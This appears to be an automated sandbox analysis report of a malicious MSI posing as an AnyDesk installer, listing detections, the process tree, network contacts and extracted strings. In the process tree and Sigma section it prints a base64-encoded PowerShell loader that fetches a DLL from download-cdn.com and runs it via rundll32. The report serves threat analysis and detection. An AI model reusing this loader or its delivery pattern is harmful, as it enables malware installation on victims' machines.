Edit tour

Windows Analysis Report
AnydeskSetup_26b30163.msi

Overview

General Information

Sample Name:	AnydeskSetup_26b30163.msi
Analysis ID:	787624
MD5:	c4e9e9a06001c6197de2ea2fec3d2214
SHA1:	369006350f6b4c43c7f51a90deb5e73a20156b55
SHA256:	e4edb4cc8f35c7bab6e89774a279593d492714fce9865e53879f87d3704ad96c
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected MalDoc

System process connects to network (likely due to code injection or exploit)

Sigma detected: Execute DLL with spoofed extension

Antivirus detection for URL or domain

Malicious encrypted Powershell command line found

Multi AV Scanner detection for domain / URL

Encrypted powershell cmdline option found

Powershell drops PE file

Deletes itself after installation

Drops executables to the windows directory (C:\Windows) and starts them

Found decision node followed by non-executed suspicious APIs

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Contains functionality to retrieve information about pressed keystrokes

Launches processes in debugging mode, may be used to hinder debugging

Checks for available system drives (often done to infect USB drives)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to read the clipboard data

Found dropped PE file which has not been started or loaded

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to launch a program with higher privileges

Found evasive API chain (may stop execution after accessing registry keys)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 8 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\AnydeskSetup_26b30163.msi" MD5: 4767B71A318E201188A0D0A420C8B608)

msiexec.exe (PID: 4312 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)

msiexec.exe (PID: 1592 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 98DB8D4E6DAAAA17E94E76B65ACF188B MD5: 12C17B5A5C2A7B97342C362CA467E9A2)

MSI5344.tmp (PID: 2904 cmdline: "C:\Windows\Installer\MSI5344.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA== MD5: 6AAC525CFCDD6D3978C451BBA2BB9CB3)

powershell.exe (PID: 4440 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA== MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 2088 cmdline: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 2460 cmdline: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5176 cmdline: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2 MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 3720 cmdline: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5064 cmdline: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2 MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 3584 cmdline: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
AnydeskSetup_26b30163.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Installer\4641a8.msi	JoeSecurity_MalDoc	Yara detected MalDoc	Joe Security

Sigma Signatures

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer , CommandLine: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer , CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4440, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer , ProcessId: 2088, ProcessName: rundll32.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://download-cdn.com/download.php?f=Ldrp.dll&from=AnydeskSetup_26b30163.msi	Avira URL Cloud: Label: malware
Source: https://download-cdn.com/pload/26b30163	Avira URL Cloud: Label: malware
Source: http://download-cdn.com	Avira URL Cloud: Label: malware
Source: https://download-cdn.com	Avira URL Cloud: Label: malware
Source: https://download-cdn.com/pload/	Avira URL Cloud: Label: malware
Source: https://download-cdn.com/pload/SOFTWARE	Avira URL Cloud: Label: malware
Source: https://download-cdn.com/download.php?f=Ldrp.d	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: download-cdn.com

Virustotal: Detection: 14%

Perma Link

Source: 4.2.powershell.exe.11a11318758.0.unpack

Avira: Label: TR/Patched.Ren.Gen

Source: unknown

HTTPS traffic detected: 152.89.196.75:443 -> 192.168.2.4:49695 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 152.89.196.75:443 -> 192.168.2.4:49696 version: TLS 1.2

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdb> source: MSI5344.tmp, 00000003.00000000.334329335.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, MSI5344.tmp, 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbb source: AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdb source: MSI5344.tmp, 00000003.00000000.334329335.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, MSI5344.tmp, 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A07390 SHGetFolderPathW,RegOpenKeyExA,SHGetFolderPathW,lstrlenW,lstrlenW,lstrlenA,lstrlenA,lstrlenA,SHGetFolderPathW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,lstrcatW,lstrcatW,lstrcatW,FindNextFileW,FindClose,	7_2_04A07390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A07750 RegQueryValueExA,ExpandEnvironmentStringsW,lstrlenW,lstrcatW,FindFirstFileW,lstrcatA,lstrcatW,lstrcatW,GetFileAttributesW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcpyW,CreateProcessW,CloseHandle,CloseHandle,lstrcatA,lstrcatA,lstrlenW,lstrcatA,lstrcatW,lstrcatW,FindNextFileW,FindClose,	7_2_04A07750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A03AA0 GetFileAttributesW,lstrlenW,lstrcmpiW,lstrlenW,CreateDirectoryW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,SetFileAttributesW,FindNextFileW,lstrcatW,FindClose,	7_2_04A03AA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A03D50 lstrcpyW,lstrcpyW,lstrcpyW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,FindNextFileW,FindClose,	7_2_04A03D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC7750 RegQueryValueExA,ExpandEnvironmentStringsW,lstrlenW,lstrcatW,FindFirstFileW,lstrcatA,lstrcatW,lstrcatW,GetFileAttributesW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcpyW,CreateProcessW,CloseHandle,CloseHandle,lstrcatA,lstrcatA,lstrlenW,lstrcatA,lstrcatW,lstrcatW,FindNextFileW,FindClose,	9_2_00FC7750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC3AA0 GetFileAttributesW,lstrlenW,lstrcmpiW,lstrlenW,CreateDirectoryW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,SetFileAttributesW,FindNextFileW,lstrcatW,FindClose,	9_2_00FC3AA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC7390 SHGetFolderPathW,RegOpenKeyExA,SHGetFolderPathW,lstrlenW,lstrlenW,lstrlenA,lstrlenA,lstrlenA,SHGetFolderPathW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,lstrcatW,lstrcatW,lstrcatW,FindNextFileW,FindClose,	9_2_00FC7390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC3D50 lstrcpyW,lstrcpyW,lstrcpyW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,FindNextFileW,FindClose,	9_2_00FC3D50

Networking

Yara detected MalDoc

Source: Yara match	File source: AnydeskSetup_26b30163.msi, type: SAMPLE
Source: Yara match	File source: C:\Windows\Installer\4641a8.msi, type: DROPPED

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 152.89.196.75 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 64.190.113.123 443
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: download-cdn.com

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: global traffic	HTTP traffic detected: GET /download.php?f=Ldrp.dll&from=AnydeskSetup_26b30163.msi HTTP/1.1Host: download-cdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pload/26b30163 HTTP/1.1Host: download-cdn.comCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 152.89.196.75:443 -> 192.168.2.4:49695 version: TLS 1.0

Source: Joe Sandbox View	ASN Name: NEXTVISIONGB NEXTVISIONGB
Source: Joe Sandbox View	ASN Name: TRAVELCLICKCORP1US TRAVELCLICKCORP1US

Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000004.00000002.380126921.0000011A282AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000004.00000002.350417258.0000011A112A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://download-cdn.com
Source: powershell.exe, 00000004.00000002.376308789.0000011A201BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.350417258.0000011A10161000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://t2.symcb.com0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: http://tl.symcd.com0&
Source: powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.350417258.0000011A10361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A10161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A1128E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download-cdn.com
Source: powershell.exe, 00000004.00000002.350417258.0000011A11207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download-cdn.com/download.php?f=Ldrp.d
Source: powershell.exe, 00000004.00000002.350417258.0000011A10361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A11207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download-cdn.com/download.php?f=Ldrp.dll&from=AnydeskSetup_26b30163.msi
Source: rundll32.exe, 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 00000009.00000002.402040260.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 0000000B.00000002.846933227.000000001001D000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://download-cdn.com/pload/
Source: rundll32.exe, 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 00000009.00000002.402040260.000000001001D000.00000004.00000001.01000000.00000008.sdmp, rundll32.exe, 0000000B.00000002.846933227.000000001001D000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://download-cdn.com/pload/SOFTWARE
Source: powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.350417258.0000011A10DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr	String found in binary or memory: https://litesoft.com/ARPURLINFOABOUTARPURLUPDATEINFOButtonText_Repair&RepairAiPreferFastOem1ProductL
Source: powershell.exe, 00000004.00000002.376308789.0000011A201BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.350417258.0000011A106B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr	String found in binary or memory: https://www.advancedinstaller.com
